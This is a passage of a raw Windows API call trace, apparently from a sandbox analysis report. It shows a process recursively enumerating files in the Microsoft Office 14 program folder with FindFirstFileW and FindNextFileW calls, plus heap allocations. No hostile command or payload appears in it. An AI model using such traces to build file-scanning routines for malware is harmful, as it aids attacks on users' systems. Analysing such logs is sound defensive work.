cAlternateFileName="")) returned 1 [0200.989] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xcb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTE.FAE", cAlternateFileName="")) returned 1 [0200.989] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6be5e470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c398, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASK.FAE", cAlternateFileName="")) returned 1 [0200.989] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5988a8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xc588, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97.SAM", cAlternateFileName="")) returned 1 [0200.989] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAB.SAM", cAlternateFileName="")) returned 1 [0200.989] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x18568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RM.DLL", cAlternateFileName="")) returned 1 [0200.989] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 1 [0200.989] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1ff80, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMGR.DLL", cAlternateFileName="")) returned 0 [0200.989] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0200.990] GetProcessHeap () returned 0x550000 [0200.990] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0200.991] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1 [0200.991] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4df100, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d4df100, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="CSS7DA~1.DLL")) returned 1 [0200.991] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="CSS7DA~2.DLL")) returned 1 [0200.991] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ab7000, ftCreationTime.dwHighDateTime=0x1c8d9fe, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9ab7000, ftLastWriteTime.dwHighDateTime=0x1c8d9fe, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.propdesc", cAlternateFileName="CUSTOM~1.PRO")) returned 1 [0200.991] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b53d600, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd25e4820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b53d600, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91170, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1 [0200.991] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf942ba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x124578, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.DLL", cAlternateFileName="")) returned 1 [0200.992] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0200.992] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2630ae0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSHARE.DLL", cAlternateFileName="")) returned 1 [0200.992] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2904500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x137b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1 [0200.992] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3242fa00, ftCreationTime.dwHighDateTime=0x1cb7017, ftLastAccessTime.dwLowDateTime=0xd2a812c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3242fa00, ftLastWriteTime.dwHighDateTime=0x1cb7017, nFileSizeHigh=0x0, nFileSizeLow=0x1a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0200.992] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1c770, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1 [0200.992] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="DOCUME~1")) returned 1 [0200.992] GetProcessHeap () returned 0x550000 [0200.992] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0200.993] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0201.113] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.114] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0201.114] GetProcessHeap () returned 0x550000 [0201.114] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0201.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0201.115] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.115] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0201.116] GetProcessHeap () returned 0x550000 [0201.116] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26110a8 [0201.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\14\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0201.116] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.116] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0201.116] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3845b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 0 [0201.116] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0201.117] GetProcessHeap () returned 0x550000 [0201.117] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0201.117] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0201.117] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0201.117] GetProcessHeap () returned 0x550000 [0201.117] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0201.117] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0201.117] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0201.117] GetProcessHeap () returned 0x550000 [0201.118] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0201.119] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0201.119] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3357b00, ftCreationTime.dwHighDateTime=0x1cba075, ftLastAccessTime.dwLowDateTime=0xcfdb94e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa3357b00, ftLastWriteTime.dwHighDateTime=0x1cba075, nFileSizeHigh=0x0, nFileSizeLow=0x36160, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1 [0201.119] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd00b3060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x8f3d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1 [0201.119] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f6a020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x30968, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITOR.EXE", cAlternateFileName="")) returned 1 [0201.119] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f90180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xad88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITORS.DLL", cAlternateFileName="")) returned 1 [0201.119] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2fdc440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMENTS.DLL", cAlternateFileName="")) returned 1 [0201.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd30c0c80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x237a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMUTIL.DLL", cAlternateFileName="")) returned 1 [0201.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1 [0201.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x60903850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x206fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1 [0201.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGDIC.DAT", cAlternateFileName="")) returned 1 [0201.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x8578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGIDX.DAT", cAlternateFileName="")) returned 1 [0201.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x4c22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGLISH.LNG", cAlternateFileName="")) returned 1 [0201.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xf380, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="ENTITY~2.DLL")) returned 1 [0201.120] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, 